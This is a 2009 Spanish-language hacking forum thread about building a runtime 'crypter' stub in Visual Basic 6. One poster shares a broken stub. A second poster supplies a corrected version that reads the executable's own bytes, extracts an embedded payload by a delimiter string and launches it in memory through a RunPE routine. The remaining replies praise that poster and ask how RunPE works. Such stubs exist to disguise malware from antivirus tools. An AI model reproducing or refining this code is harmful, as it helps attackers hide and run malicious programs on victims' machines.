duda en stub aplicando encriptacion runtime
Publicado: 24 May 2009, 15:28
por likor
Código: Seleccionar todo
Public Sub Main()
Dim sStub As String, sFile() As Byte
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
sStub = Space(LOF(1))
Get #1, , sStub
Close #1
sFile() = Split(sStub, FileSplit)(1)
Open Environ("tmp") & "\decrypted.exe" For Binary As #1
Put #1, , RunPe(sFile())
Close #1
End Sub
y me sale error al encriptar una calc xq al darle a encriptar se ejecuta la calc y el archivo crypted esta corrupto :s
Re: duda en stub aplicando encriptacion runtime
Publicado: 24 May 2009, 16:03
por m3m0_11
Code Corregido, si lo que kieres hacer es un crypter run time, este es el code no te compliques
Código: Seleccionar todo
Public Sub Main()
Dim sStub As String, Archivo As String, m3m0() As Byte, FileSplit As String
FileSplit = "akiponesloquekieras"
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
sStub = Space(LOF(1))
Get #1, , sStub
Close #1
Archivo = Split(sStub, FileSplit)(1)
m3m0() = StrConv(Archivo, VbFromUnicode)
Call RunPE(App.Path & "\" & App.ExeName & ".exe", m3m0())
End Sub
PD: Deja de hacer Copy & Paste, aprende primero lo fácil, estas empezando la casa por el Tejado, no lo digo por ti, tambien me paso a mi, queria hacer cosas grandes sin saber
salu2
Re: duda en stub aplicando encriptacion runtime
Publicado: 29 May 2009, 22:31
por tercer_ojo
m3m0_11 escribió:Deja de hacer Copy & Paste, aprende primero lo fácil, estas empezando la casa por el Tejado, no lo digo por ti, tambien me paso a mi, queria hacer cosas grandes sin saber
Ejemplar Ahora bien, si el resto -ellos saben bien quienes son- fuera tan íntegros como vos y se sacaran la careta...
Acabás de demostrar que tenés la humildad de los que ya están levantando buen nivel.
Re: duda en stub aplicando encriptacion runtime
Publicado: 30 May 2009, 00:17
por Xpro
Gran verdad esa, ese comentario dice bastante de tí m3m0 y ahora yo te añado algo, yo también empecé haciendo un RIP de un code ( creo que es la primera vez que lo digo ) y sinceramente, merito = 0 , te pegaras un curro quieras o no para ripearlo porque hasta ripear cuesta xD, y al final para nada porque tendras comentarios de gente agradeciendote y tal pero para nada porque la gente como poli , m3m0 y esta gente, pues aunque te lo agradescan sabén que es dificl que lo hallas echo tú, de cualquier manera esto es solo mi opinión y mi experiencia. Ahora bien, tu as lo que quieras....
PD: M3M0 podrias explicar como hacer un RunPE de esos xD ? , aparentemente esa parte del code es bastante sencilla, y nosé si este tipo de encryptación es mas facil que el resto o similares xD.
Saludos